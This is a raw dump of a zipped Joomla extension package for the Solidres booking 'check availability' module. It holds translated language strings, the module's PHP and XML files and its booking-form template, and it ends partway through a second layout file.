SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC="Эта опция включит выпадающий список категорий номеров для бронирования, список номеров будет выбран из гостиницы"
SR_SEARCH_ROOMTYPES="Категории номеров"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_LABEL="Скрыть количество ногмеров"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_DESC="Hide room quantity option so that guest can not choose the number of room, this option is suitable for apartment booking site."
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_LABEL="Единое поле для ввода количества взрослых и детей"
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_DESC="Instead of showing two separated field for adult quantity and child quantity, let show only 1 field for guest quantity"
SR_SEARCH_GUESTS="Гостей"
SR_MOD_CHECKAVAILABILITY_NO_DEFAULT_ASSET_FOUND="Не найдены гостиницы по умолчанию и опубликованные гостиницы. Убедитесь, что у Вас есть хотя бы 01 гостиница по умолчанию и она должна быть опубликована."
PK!�j��Nmod_sr_checkavailability/language/ru-RU/ru-RU.mod_sr_checkavailability.sys.ininu&1i�MOD_SR_CHECKAVAILABILITY="Solidres - Модуль проверки доступности"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres - Модуль проверки доступности"PK!lW39��Nmod_sr_checkavailability/language/it-IT/it-IT.mod_sr_checkavailability.sys.ininu&1i�; IT translation completed on September 18, 2013, Manca Cesare

MOD_SR_CHECKAVAILABILITY="Solidres - Modulo verifica disponibilità"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres - il modulo per la verifica della disponibilità"PK!o��Հ	�	Jmod_sr_checkavailability/language/it-IT/it-IT.mod_sr_checkavailability.ininu&1i�MOD_SR_CHECKAVAILABILITY="Solidres: modulo per la verifica della disponibilità"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="<p>Solidres - Module check availability is used in front-end by guests to check availability for the <strong>default</strong> asset. You can change the default asset by editing your asset - tab Publishing - field Default.</p><p>This module can be published in your template module positions or embed into Joomla articles using the following syntax: <strong>{loadmodule sr_checkavailability,Your module title}</strong>. Note: you should replace 'Your module title' with your actual module title</p>"

; Param Strings
SR_SEARCH_CHECKIN_DATE="Data di Arrivo"
SR_SEARCH_CHECKOUT_DATE="Data di Partenza"
SR_SEARCH="Cerca"
SR_RESET="Cancella"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL="ItemID target"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC="Inserisci l'itemID del vostro menu Solidres, in modo che la pagina dei risultati possa essere visualizzata correttamente"
SR_YOUR_RESERVATION="La tua Prenotazione"
SR_SEARCH_ROOMS="Camere"
SR_SEARCH_ROOM="Camera"
SR_SEARCH_ROOM_ADULTS="Adulti"
SR_SEARCH_ROOM_CHILDREN="Bambini"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL="Numero massimo camere"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC="Inserisci il numero massimo di camere che si possono scegliere nel front end. Default è 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL="Numero massimo adulti"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC="Inserisci il numero massimo di adulti che si possono scegliere nel front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL="Numero massimo bambini"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC="Inserisci il numero massimo di bambini che si possono scegliere nel front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL="Abilita quantità camere"
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC="Abilita quantità camere nel front end per far scegliere agli utenti la quantità delle camere, degli adulti e dei bambini."
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL="Enable room type dropdown"
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC="This option will enable the room type drop down in front end for guest selection, the room type list will be retrieved from the default asset."
SR_SEARCH_ROOMTYPES="Room types"PK!�t�Jmod_sr_checkavailability/language/es-ES/es-ES.mod_sr_checkavailability.ininu&1i�MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres: Módulo de reservas"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="<p>Solidres - Module check availability is used in front-end by guests to check availability for the <strong>default</strong> property. You can change the default property by editing your property - tab Publishing - field Default.</p><p>This module can be published in your template module positions or embed into Joomla articles using the following syntax: <strong>{loadmodule sr_checkavailability,Your module title}</strong>. Note: you should replace 'Your module title' with your actual module title</p>"

; Param Strings
SR_SEARCH_CHECKIN_DATE="Fecha de Entrada"
SR_SEARCH_CHECKOUT_DATE="Fecha de Salida"
SR_SEARCH="Check"
SR_RESET="Reset"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL="Target itemid"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC="Introduzca el Id del elemento de su Menú Solidres, con el fin de mostrarlo correctamente en la página de resultados"
SR_YOUR_RESERVATION="Tu reserva"
SR_SEARCH_ROOMS="Rooms"
SR_SEARCH_ROOM="Room"
SR_SEARCH_ROOM_ADULTS="Adults"
SR_SEARCH_ROOM_CHILDREN="Children"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL="Max room number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC="Enter the maximum number of rooms quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL="Max adult number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC="Enter the maximum number of adult quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL="Max child number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC="Enter the maximum number of children quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL="Enable room quantity"
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC="Enable room quantity in front end to allow guest choosing room quantity, adult quantity and children quantity."
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL="Enable room type dropdown"
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC="This option will enable the room type drop down in front end for guest selection, the room type list will be retrieved from the default property."
SR_SEARCH_ROOMTYPES="Room types"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_LABEL="Hide room quantity"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_DESC="Hide room quantity option so that guest can not choose the number of room, this option is suitable for apartment booking site."
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_LABEL="Merge adult & child"
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_DESC="Instead of showing two separated field for adult quantity and child quantity, let show only 1 field for guest quantity"
SR_SEARCH_GUESTS="Guests"
SR_MOD_CHECKAVAILABILITY_NO_DEFAULT_ASSET_FOUND="No default and published property found. Make sure that you have at least 01 default property in your system and it must be published."PK!g�)�eeNmod_sr_checkavailability/language/es-ES/es-ES.mod_sr_checkavailability.sys.ininu&1i�MOD_SR_CHECKAVAILABILITY="Solidres - Module check availability"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="<p>Solidres - Module check availability is used in front-end by guests to check availability for the <strong>default</strong> property. You can change the default property by editing your property - tab Publishing - field Default.</p><p>This module can be published in your template module positions or embed into Joomla articles using the following syntax: <strong>{loadmodule sr_checkavailability,Your module title}</strong>. Note: you should replace 'Your module title' with your actual module title</p>"PK!{6�[j%j%5mod_sr_checkavailability/mod_sr_checkavailability.phpnu&1i�<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;

JHtml::_( 'stylesheet', 'com_solidres/assets/main.min.css', array('version' => SRVersion::getHashVersion(), 'relative' => true) );

$lang = JFactory::getLanguage();
$app = JFactory::getApplication();
$context = 'com_solidres.reservation.process';
$checkin = $app->getUserState($context.'.checkin');
$checkout = $app->getUserState($context.'.checkout');
$roomsOccupancyOptions = $app->getUserState($context.'.room_opt', array());
$prioritizingRoomTypeId = $app->getUserState($context . '.prioritizing_room_type_id', 0);
JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_solidres/tables', 'SolidresTable');
$tableAsset = JTable::getInstance('ReservationAsset', 'SolidresTable');
$tableAsset->load(array('default' => 1, 'state' => 1));
if (empty($tableAsset->id) || $tableAsset->id <= 0)
{
	echo '<div class="alert alert-error">' . JText::_('SR_MOD_CHECKAVAILABILITY_NO_DEFAULT_ASSET_FOUND') . '</div>';
	return;
}

$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx'));
$enableRoomTypeDropdown = $params->get('enable_roomtype_dropdown', 0);

if ($enableRoomTypeDropdown)
{
	JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_solidres/models', 'SolidresModel');
	$roomTypesModel = JModelLegacy::getInstance('RoomTypes', 'SolidresModel', array('ignore_request' => true));
	$roomTypesModel->setState('filter.reservation_asset_id', $tableAsset->id);
	$roomTypesModel->setState('list.select', 'r.id, r.name');
	$roomTypesModel->setState('filter.state', '1');
	$roomTypes = $roomTypesModel->getItems();
}

$config = JFactory::getConfig();
$solidresConfig = JComponentHelper::getParams('com_solidres');
$minDaysBookInAdvance = $solidresConfig->get('min_days_book_in_advance', 0);
$maxDaysBookInAdvance = $solidresConfig->get('max_days_book_in_advance', 0);
$minLengthOfStay = $solidresConfig->get('min_length_of_stay', 1);
$datePickerMonthNum = $solidresConfig->get('datepicker_month_number', 3);
$weekStartDay = $solidresConfig->get('week_start_day', 1);
$dateFormat = $solidresConfig->get('date_format', 'd-m-Y');
JLoader::register('SRUtilities', SRPATH_LIBRARY . '/utilities/utilities.php');
$tzoffset = $config->get('offset');
$timezone = new DateTimeZone($tzoffset);
$dateCheckIn = JDate::getInstance();
if (!isset($checkin)) :
	$dateCheckIn->add(new DateInterval('P'.($minDaysBookInAdvance).'D'))->setTimezone($timezone);
endif;
$dateCheckOut = JDate::getInstance();
if (!isset($checkout)) :
	$dateCheckOut->add(new DateInterval('P'.($minDaysBookInAdvance + $minLengthOfStay).'D'))->setTimezone($timezone);
endif;

$jsDateFormat = SRUtilities::convertDateFormatPattern($dateFormat);
$roomsOccupancyOptionsCount = count($roomsOccupancyOptions);
$maxRooms = $params->get('max_room_number', 10);
$maxAdults = $params->get('max_adult_number', 10);
$maxChildren = $params->get('max_child_number', 10);
$hideRoomQuantity = $params->get('hide_room_quantity', 0);
$mergeAdultChild = $params->get('merge_adult_child', 0);

$defaultCheckinDate = '';
$defaultCheckoutDate = '';
if (isset($checkin)) {
	$checkinModule = JDate::getInstance($checkin, $timezone);
	$checkoutModule = JDate::getInstance($checkout, $timezone);
	// These variables are used to set the defaultDate of datepicker
	$defaultCheckinDate = $checkinModule->format('Y-m-d', true);
	$defaultCheckoutDate = $checkoutModule->format('Y-m-d', true);
}

if (!empty($defaultCheckinDate)) :
	$defaultCheckinDateArray = explode('-', $defaultCheckinDate);
	$defaultCheckinDateArray[1] -= 1; // month in javascript is less than 1 in compare with month in PHP
endif;

if (!empty($defaultCheckoutDate)) :
	$defaultCheckoutDateArray = explode('-', $defaultCheckoutDate);
	$defaultCheckoutDateArray[1] -= 1; // month in javascript is less than 1 in compare with month in PHP
endif;

$doc = JFactory::getDocument();
JHtml::_('script', SRURI_MEDIA.'/assets/js/datePicker/localization/jquery.ui.datepicker-'.JFactory::getLanguage()->getTag().'.js', false, false);
$doc->addScriptDeclaration('
	Solidres.jQuery(function($) {
		var minLengthOfStay = '.$minLengthOfStay.';
		var checkout = $("#sr-checkavailability-form-' . $module->id . ' .checkout_datepicker_inline_module").datepicker({
			minDate : "+' . ( $minDaysBookInAdvance + $minLengthOfStay ). '",
			numberOfMonths : '.$datePickerMonthNum.',
			showButtonPanel : true,
			dateFormat : "'.$jsDateFormat.'",
			firstDay: '.$weekStartDay.',
			' . (isset($checkout) ? 'defaultDate: new Date(' . implode(',' , $defaultCheckoutDateArray) .'),' : '') . '
			onSelect: function() {
				$("#sr-checkavailability-form-' . $module->id . ' input[name=\'checkout\']").val($.datepicker.formatDate("yy-mm-dd", $(this).datepicker("getDate")));
				$("#sr-checkavailability-form-' . $module->id . ' .checkout_module").html($.datepicker.formatDate("'.$jsDateFormat.'", $(this).datepicker("getDate")) + "<i class=\"fa fa-calendar\"></i>");
				$("#sr-checkavailability-form-' . $module->id . ' .checkout_datepicker_inline_module").slideToggle();
				$("#sr-checkavailability-form-' . $module->id . ' .checkin_module").removeClass("disabledCalendar");
			}
		});
		var checkin = $("#sr-checkavailability-form-' . $module->id . ' .checkin_datepicker_inline_module").datepicker({
			minDate : "+' .  $minDaysBookInAdvance . 'd",
			'.($maxDaysBookInAdvance > 0 ? 'maxDate: "+'. ($maxDaysBookInAdvance) . '",' : '' ).'
			numberOfMonths : '.$datePickerMonthNum.',
			showButtonPanel : true,
			dateFormat : "'.$jsDateFormat.'",
			'. (isset($checkin) ? 'defaultDate: new Date(' . implode(',' , $defaultCheckinDateArray) .'),' : '') . '
			onSelect : function() {
				var currentSelectedDate = $(this).datepicker("getDate");
				var checkoutMinDate = $(this).datepicker("getDate", "+1d");
				checkoutMinDate.setDate(checkoutMinDate.getDate() + minLengthOfStay);
				checkout.datepicker( "option", "minDate", checkoutMinDate );
				checkout.datepicker( "setDate", checkoutMinDate);

				$("#sr-checkavailability-form-' . $module->id . ' input[name=\'checkin\']").val($.datepicker.formatDate("yy-mm-dd", currentSelectedDate));
				$("#sr-checkavailability-form-' . $module->id . ' input[name=\'checkout\']").val($.datepicker.formatDate("yy-mm-dd", checkoutMinDate));

				$("#sr-checkavailability-form-' . $module->id . ' .checkin_module").html($.datepicker.formatDate("'.$jsDateFormat.'", currentSelectedDate) + "<i class=\"fa fa-calendar\"></i>");
				$("#sr-checkavailability-form-' . $module->id . ' .checkout_module").html($.datepicker.formatDate("'.$jsDateFormat.'", checkoutMinDate) + "<i class=\"fa fa-calendar\"></i>");
				$("#sr-checkavailability-form-' . $module->id . ' .checkin_datepicker_inline_module").slideToggle();
				$("#sr-checkavailability-form-' . $module->id . ' .checkout_module").removeClass("disabledCalendar");
			},
			firstDay: '.$weekStartDay.'
		});
		$(".ui-datepicker").addClass("notranslate");
		$("#sr-checkavailability-form-' . $module->id . ' .checkin_module").click(function() {
			if (!$(this).hasClass("disabledCalendar")) {
				$("#sr-checkavailability-form-' . $module->id . ' .checkin_datepicker_inline_module").slideToggle("fast", function() {
					if ($(this).is(":hidden")) {
						$("#sr-checkavailability-form-' . $module->id . ' .checkout_module").removeClass("disabledCalendar");
					} else {
						$("#sr-checkavailability-form-' . $module->id . ' .checkout_module").addClass("disabledCalendar");
					}
				});
			}
		});
	
		$("#sr-checkavailability-form-' . $module->id . ' .checkout_module").click(function() {
			if (!$(this).hasClass("disabledCalendar")) {
				$("#sr-checkavailability-form-' . $module->id . ' .checkout_datepicker_inline_module").slideToggle("fast", function() {
					if ($(this).is(":hidden")) {
						$("#sr-checkavailability-form-' . $module->id . ' .checkin_module").removeClass("disabledCalendar");
					} else {
						$("#sr-checkavailability-form-' . $module->id . ' .checkin_module").addClass("disabledCalendar");
					}
				});
			}
		});

		$("#sr-checkavailability-form-' . $module->id . ' .room_quantity").change(function() {
			var curQuantity = $(this).val();
			$("#sr-checkavailability-form-' . $module->id . ' .room_num_row").each(function( index ) {
				var index2 = index + 1;
				if (index2 <= curQuantity) {
					$("#sr-checkavailability-form-' . $module->id . ' #room_num_row_" + index2).show();
					$("#sr-checkavailability-form-' . $module->id . ' #room_num_row_" + index2 + " select").removeAttr("disabled");
				} else {
					$("#sr-checkavailability-form-' . $module->id . ' #room_num_row_" + index2).hide();
					$("#sr-checkavailability-form-' . $module->id . ' #room_num_row_" + index2 + " select").attr("disabled", "disabled");
				}
			});
		});

		if ($("#sr-checkavailability-form-' . $module->id . ' .room_quantity").val() > 0) {
			$("#sr-checkavailability-form-' . $module->id . ' .room_quantity").trigger("change");
		}
    });
');

$enableRoomQuantity = $params->get('enable_room_quantity_option', 0);

require JModuleHelper::getLayoutPath('mod_sr_checkavailability', $params->get('layout', 'default'));
PK!�e�:��5mod_sr_checkavailability/mod_sr_checkavailability.xmlnu&1i�<?xml version="1.0" encoding="UTF-8"?>
<extension
	type="module"
	version="3.0"
	client="site"
	method="upgrade">
	<name>mod_sr_checkavailability</name>
	<creationDate>Dec 2018</creationDate>
	<author>Solidres</author>
	<authorEmail>contact@solidres.com</authorEmail>
	<authorUrl>https://www.solidres.com</authorUrl>
	<copyright>(C) 2013 - 2018 Solidres. All right reserved</copyright>
	<license>GNU General Public License version 3, or later</license>
	<version>2.9.3</version>
	<description>MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_sr_checkavailability">mod_sr_checkavailability.php</filename>
		<filename>helper.php</filename>
		<filename>mod_sr_checkavailability.xml</filename>
		<folder>tmpl</folder>
		<folder>language</folder>
	</files>
    <config>
        <fields name="params">
            <fieldset name="basic">
				<field
						name="target_itemid"
						type="menuitem"
						label="SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL"
						description="SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC" />
				<field name="enable_room_quantity_option" type="list"
					   description="SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC"
					   label="SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL"
					   default="0"
						>
                    <option value="0">JNO</option>
                    <option value="1">JYES</option>
                </field>
				<field
					name="max_room_number"
					type="text"
					default="10"
                    showon="enable_room_quantity_option:1"
					label="SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL"
					description="SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC" />
				
				<field
					name="max_adult_number"
					type="text"
					default="10"
                    showon="enable_room_quantity_option:1"
					label="SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL"
					description="SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC" />
				
				<field
					name="max_child_number"
					type="text"
					default="10"
                    showon="enable_room_quantity_option:1"
					label="SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL"
					description="SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC" />

                <field
                    name="hide_room_quantity"
                    type="radio"
                    default="0"
                    class="btn-group"
                    showon="enable_room_quantity_option:1"
                    label="SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_LABEL"
                    description="SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_DESC">
                    <option value="0">JNO</option>
                    <option value="1">JYES</option>
                </field>

                <field
                    name="merge_adult_child"
                    type="radio"
                    default="0"
                    class="btn-group"
                    showon="hide_room_quantity:1"
                    label="SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_LABEL"
                    description="SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_DESC">
                    <option value="0">JNO</option>
                    <option value="1">JYES</option>
                </field>

                <field
                    name="enable_roomtype_dropdown"
                    type="radio"
                    default="0"
                    class="btn-group"
                    label="SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL"
                    description="SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC">
                    <option value="0">JNO</option>
                    <option value="1">JYES</option>
                </field>
            </fieldset>

            <fieldset name="advanced">
                <field
                    name="layout"
                    type="modulelayout"
                    label="JFIELD_ALT_LAYOUT_LABEL"
                    description="JFIELD_ALT_MODULE_LAYOUT_DESC" />
                <field
                    name="moduleclass_sfx"
                    type="textarea" rows="3"
                    label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
                    description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />

                <field
                    name="cache"
                    type="list"
                    default="0"
                    label="COM_MODULES_FIELD_CACHING_LABEL"
                    description="COM_MODULES_FIELD_CACHING_DESC">
                    <option
                            value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
                </field>


            </fieldset>
        </fields>
    </config>
</extension>
PK!���Ec#c#)mod_sr_checkavailability/tmpl/default.phpnu&1i�<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

/*
 * This layout file can be overridden by copying to:
 *
 * /templates/TEMPLATENAME/html/mod_sr_checkavailability/default.php
 *
 * However, occasionally we will need to update template/layout related files and it is the template developers'
 * responsibility to update the overridden files (if any) to maintain full compatibility with Solidres.
 *
 * We do not provide support if any of the overridden files are out of date and are not compatible with Solidres.
 *
 * @version 2.8.0
 */

defined('_JEXEC') or die;
?>

<form id="sr-checkavailability-form-<?php echo $module->id ?>"
      action="<?php echo JRoute::_('index.php?option=com_solidres&view=reservationasset&id='.$tableAsset->id.'&Itemid='.$params->get('target_itemid'), false)?>"
      method="GET" class="form-stacked sr-validate solidres-module-checkavailability <?php echo SR_UI ?>"
      onsubmit="this.action = ((Solidres.options.get('AutoScroll') == 1) ? this.action + (this.room_type_id != undefined && this.room_type_id.value != '' ? '#srt_' + this.room_type_id.value : '#form') : this.action)">
    <fieldset>
        <input name="id" value="<?php echo $tableAsset->id ?>" type="hidden" />
	    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
		    <div class="<?php echo SR_UI_GRID_COL_12 ?>">
			    <label for="checkin">
				    <?php echo JText::_('SR_SEARCH_CHECKIN_DATE')?>
			    </label>
			    <div class="checkin_module datefield">
				    <?php echo isset($checkin) ?
					    $checkinModule->format($dateFormat, true) :
					    $dateCheckIn->format($dateFormat, true) ?>
				    <i class="fa fa-calendar"></i>
			    </div>
			    <div class="checkin_datepicker_inline_module datepicker_inline" style="display: none"></div>
			    <?php // this field must always be "Y-m-d" as it is used internally only ?>
			    <input type="hidden" name="checkin" value="<?php echo isset($checkin) ?
				    $checkinModule->format('Y-m-d', true) :
				    $dateCheckIn->format('Y-m-d', true) ?>" />
		    </div>
		</div>
	    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
		    <div class="<?php echo SR_UI_GRID_COL_12 ?>">
			    <label for="checkout">
				    <?php echo JText::_('SR_SEARCH_CHECKOUT_DATE')?>
			    </label>
			    <div class="checkout_module datefield">
				    <?php echo isset($checkout) ?
					    $checkoutModule->format($dateFormat, true) :
					    $dateCheckOut->format($dateFormat, true)
				    ?>
				    <i class="fa fa-calendar"></i>
			    </div>
			    <div class="checkout_datepicker_inline_module datepicker_inline" style="display: none"></div>
			    <?php // this field must always be "Y-m-d" as it is used internally only ?>
			    <input type="hidden" name="checkout" value="<?php echo isset($checkout) ?
				    $checkoutModule->format('Y-m-d', true) :
				    $dateCheckOut->format('Y-m-d', true) ?>" />
		    </div>
	    </div>

	    <?php if ($enableRoomTypeDropdown && !empty($roomTypes)) : ?>
	    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
		    <div class="<?php echo SR_UI_GRID_COL_12 ?>">
			    <label><?php echo JText::_('SR_SEARCH_ROOMTYPES') ?></label>
			    <select class="form-control input-block-level" name="room_type_id">
				    <option value=""></option>
				    <?php
				    foreach ($roomTypes as $roomType) :
                        $selected = $prioritizingRoomTypeId == $roomType->id ? 'selected' : '';
						echo '<option value="' . $roomType->id . '" '.$selected.'>' . $roomType->name . '</option>';
			        endforeach;
				    ?>
			    </select>
		    </div>
	    </div>
	    <?php endif ?>

		<?php if ($enableRoomQuantity) : ?>

        <?php if ($hideRoomQuantity == 0) : ?>
		<div class="<?php echo SR_UI_GRID_CONTAINER ?>">
			<div class="<?php echo SR_UI_GRID_COL_12 ?>">
				<label><?php echo JText::_('SR_SEARCH_ROOMS') ?></label>
				<select class="form-control input-block-level room_quantity" name="room_quantity">
					<?php for ($room_num = 1; $room_num <= $maxRooms; $room_num ++) : ?>
						<option <?php echo $room_num == $roomsOccupancyOptionsCount ? 'selected' : '' ?> value="<?php echo $room_num  ?>"><?php echo $room_num  ?></option>
					<?php endfor ?>
				</select>
			</div>
		</div>
        <?php else : ?>
        <input type="hidden" class="room_quantity" name="room_quantity" value="1" />
        <?php endif ?>

		<?php for ($room_num = 1; $room_num <= $maxRooms; $room_num ++) : ?>
	    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
		    <div class="<?php echo SR_UI_GRID_COL_12 ?> room_num_row" id="room_num_row_<?php echo $room_num ?>" style="<?php echo $room_num > 0 ? 'display: none' : '' ?>">
			    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
				    <?php if (!$hideRoomQuantity) : ?>
                    <div class="<?php echo SR_UI_GRID_COL_4 ?> room_num_label">
					    <label>&nbsp;</label>
					    <?php echo JText::_('SR_SEARCH_ROOM') ?> <?php echo $room_num  ?>
				    </div>
                    <?php endif ?>
				    <?php if (($hideRoomQuantity && !$mergeAdultChild) || !$hideRoomQuantity) : ?>
				    <div class="<?php echo $hideRoomQuantity ? SR_UI_GRID_COL_6 : SR_UI_GRID_COL_4 ?>">
					    <label><?php echo JText::_('SR_SEARCH_ROOM_ADULTS') ?></label>
					    <select <?php echo $room_num > 0 ? 'disabled': '' ?> class="form-control input-block-level" name="room_opt[<?php echo $room_num ?>][adults]">
						    <?php
						    for ($a = 1; $a <= $maxAdults; $a ++) :
							    $selected = '';
							    if (isset($roomsOccupancyOptions[$room_num]['adults'])
							        &&
							        ($a == $roomsOccupancyOptions[$room_num]['adults'])
							    ) :
								    $selected = 'selected';
							    endif;
							    ?>
							    <option <?php echo $selected ?> value="<?php echo $a ?>"><?php echo $a ?></option>
						    <?php
						    endfor
						    ?>
					    </select>
				    </div>
				    <div class="<?php echo $hideRoomQuantity ? SR_UI_GRID_COL_6 : SR_UI_GRID_COL_4 ?>">
					    <label><?php echo JText::_('SR_SEARCH_ROOM_CHILDREN') ?></label>
					    <select <?php echo $room_num > 0 ? 'disabled': '' ?> class="form-control input-block-level" name="room_opt[<?php echo $room_num ?>][children]">
						    <?php
						    for ($c = 0; $c <= $maxChildren; $c ++) :
							    $selected = '';
							    if (isset($roomsOccupancyOptions[$room_num]['children'])
							        &&
							        $c == $roomsOccupancyOptions[$room_num]['children']
							    ) :
								    $selected = 'selected';
							    endif;
							    ?>
							    <option <?php echo $selected ?> value="<?php echo $c ?>"><?php echo $c ?></option>
						    <?php
						    endfor
						    ?>
					    </select>
				    </div>
                    <?php else : ?>
                    <div class="<?php echo SR_UI_GRID_COL_12 ?>">
                        <label><?php echo JText::_('SR_SEARCH_GUESTS') ?></label>
                        <select <?php echo $room_num > 0 ? 'disabled': '' ?> class="form-control input-block-level" name="room_opt[<?php echo $room_num ?>][guests]">
                            <?php
                            for ($a = 1; $a <= $maxAdults; $a ++) :
                                $selected = '';
                                if (isset($roomsOccupancyOptions[$room_num]['guests'])
                                    &&
                                    ($a == $roomsOccupancyOptions[$room_num]['guests'])
                                ) :
                                    $selected = 'selected';
                                endif;
                                ?>
                                <option <?php echo $selected ?> value="<?php echo $a ?>"><?php echo $a ?></option>
                                <?php
                            endfor
                            ?>
                        </select>
                    </div>
                    <?php endif ?>
			    </div>
		    </div>
		</div>
		<?php endfor; ?>
	    <?php endif; ?>
	    <div class="<?php echo SR_UI_GRID_CONTAINER ?>">
		    <div class="<?php echo SR_UI_GRID_COL_12 ?>">
			    <div class="action">
				    <button class="btn btn-default btn-block primary" type="submit"><i class="fa fa-search"></i> <?php echo JText::_('SR_SEARCH')?></button>
			    </div>
		    </div>
		</div>
    </fieldset>

    <input type="hidden" name="option" value="com_solidres" />
    <input type="hidden" name="task" value="reservationasset.checkavailability" />
	<input type="hidden" name="Itemid" value="<?php echo $params->get('target_itemid') ?>" />
    <?php echo JHtml::_('form.token'); ?>
</form>PK!��>:=(=(,mod_sr_checkavailability/tmpl/horizontal.phpnu&1i�<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

/*
 * This layout file can be overridden by copying to:
 *
 * /templates/TEMPLATENAME/html/mod_sr_checkavailability/horizontal.php
 *
 * However, occasionally we will need to update template/layout related files and it is the template developers'
 * responsibility to update the overridden files (if any) to maintain full compatibility with Solidres.
 *
 * We do not provide support if any of the overridden files are out of date and are not compatible with Solidres.
